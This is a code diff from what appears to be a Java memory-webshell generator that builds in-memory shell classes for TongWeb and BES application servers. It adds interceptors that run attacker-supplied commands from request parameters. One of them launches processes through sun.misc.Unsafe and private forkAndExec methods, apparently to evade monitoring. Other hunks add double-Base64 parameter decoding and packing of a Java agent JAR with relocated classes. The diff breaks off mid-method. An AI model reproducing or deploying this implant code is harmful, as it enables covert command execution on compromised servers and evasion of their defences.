|||||||
+20
-30
@@ -1,24 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.tongweb.web.thor.comet.CometEvent;
|
|
||||||
import com.tongweb.web.thor.connector.Request;
|
|
||||||
import com.tongweb.web.thor.connector.Response;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.field.FieldDescription;
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
import net.bytebuddy.description.field.FieldList;
|
import net.bytebuddy.description.field.FieldList;
|
||||||
import net.bytebuddy.description.method.MethodList;
|
import net.bytebuddy.description.method.MethodList;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.jetbrains.annotations.NotNull;
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -31,6 +25,24 @@ public class ValveGenerator {
|
|||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
||||||
|
String packageName = null;
|
||||||
|
if (shell instanceof TongWeb6Shell) {
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof TongWeb7Shell) {
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof TongWeb8Shell) {
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof BesShell) {
|
||||||
|
packageName = BES_VALVE_PACKAGE;
|
||||||
|
}
|
||||||
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
private final String newPackageName;
|
private final String newPackageName;
|
||||||
@@ -74,26 +86,4 @@ public class ValveGenerator {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
|
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(targetClass)
|
|
||||||
.name(newClassName)
|
|
||||||
.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
|
|
||||||
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
|
|
||||||
builder = builder
|
|
||||||
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
|
|
||||||
.intercept(FixedValue.value(""))
|
|
||||||
.defineMethod("event", void.class, Visibility.PUBLIC)
|
|
||||||
.withParameters(Request.class, Response.class, CometEvent.class)
|
|
||||||
.intercept(FixedValue.originType());
|
|
||||||
}
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
|
||||||
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+18
-39
@@ -1,22 +1,20 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -24,25 +22,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandGenerator {
|
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CommandConfig commandConfig;
|
|
||||||
|
|
||||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, commandConfig);
|
||||||
this.commandConfig = commandConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (commandConfig.getShellClass() == null) {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
|
||||||
.redefine(commandConfig.getShellClass())
|
|
||||||
.name(commandConfig.getShellClassName())
|
|
||||||
.field(named("paramName")).value(commandConfig.getParamName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
@@ -52,39 +41,29 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
|
||||||
put("paramName", commandConfig.getParamName());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.method(named("getParam"),
|
.method(named("getParam"),
|
||||||
new MethodCallReplaceVisitorWrapper(
|
new MethodCallReplaceVisitorWrapper(
|
||||||
commandConfig.getShellClassName(),
|
shellToolConfig.getShellClassName(),
|
||||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(String.class)
|
.withParameters(String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(FixedValue.nullValue())
|
||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
|
|||||||
public class DoubleBase64ParamInterceptor {
|
public class DoubleBase64ParamInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+107
@@ -0,0 +1,107 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class ForkAndExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
try {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Object unsafe = unsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
try {
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
int mode = 0;
|
||||||
|
try {
|
||||||
|
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||||
|
value.setAccessible(true);
|
||||||
|
mode = (Integer) value.get(launchMechanismObject);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
mode = ordinal + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK7
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class RuntimeExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.packer.base64;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+2
-1
@@ -4,7 +4,8 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+3
-1
@@ -5,7 +5,9 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+40
-44
@@ -1,12 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -32,44 +31,34 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
public byte[] packBytes(GenerateResult generateResult) {
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
|
||||||
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
|
|
||||||
|
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
addDependencies(targetJar, relocatePrefix, isAsm);
|
addDependencies(targetJar, relocatePrefix);
|
||||||
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
}
|
}
|
||||||
|
|
||||||
return outputStream.toByteArray();
|
return outputStream.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Manifest createManifest(String mainClass) {
|
private Manifest createManifest(String agentClass) {
|
||||||
Manifest manifest = new Manifest();
|
Manifest manifest = new Manifest();
|
||||||
Attributes attributes = manifest.getMainAttributes();
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
attributes.putValue("Manifest-Version", "1.0");
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
attributes.putValue("Agent-Class", mainClass);
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
attributes.putValue("Premain-Class", mainClass);
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
attributes.putValue("Can-Redefine-Classes", "true");
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
attributes.putValue("Can-Retransform-Classes", "true");
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
return manifest;
|
return manifest;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
if (isAsm) {
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
addDependency(targetJar, Opcodes.class, relocatePrefix);
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
} else {
|
|
||||||
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
String relocatePrefix, boolean isAsm) {
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
String dependencyPackage = isAsm ?
|
|
||||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
|
||||||
|
|
||||||
// Add injector class
|
// Add injector class
|
||||||
addClassEntry(targetJar,
|
addClassEntry(targetJar,
|
||||||
generateResult.getInjectorClassName(),
|
generateResult.getInjectorClassName(),
|
||||||
@@ -98,14 +87,13 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
String dependencyPackage, String relocatePrefix) {
|
String dependencyPackage, String relocatePrefix) {
|
||||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
targetJar.write(processedBytes);
|
targetJar.write(processedBytes);
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
|
||||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
String sourceUrlString = sourceUrl.toString();
|
String sourceUrlString = sourceUrl.toString();
|
||||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
@@ -120,28 +108,36 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
}
|
}
|
||||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
}
|
}
|
||||||
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
while (entries.hasMoreElements()) {
|
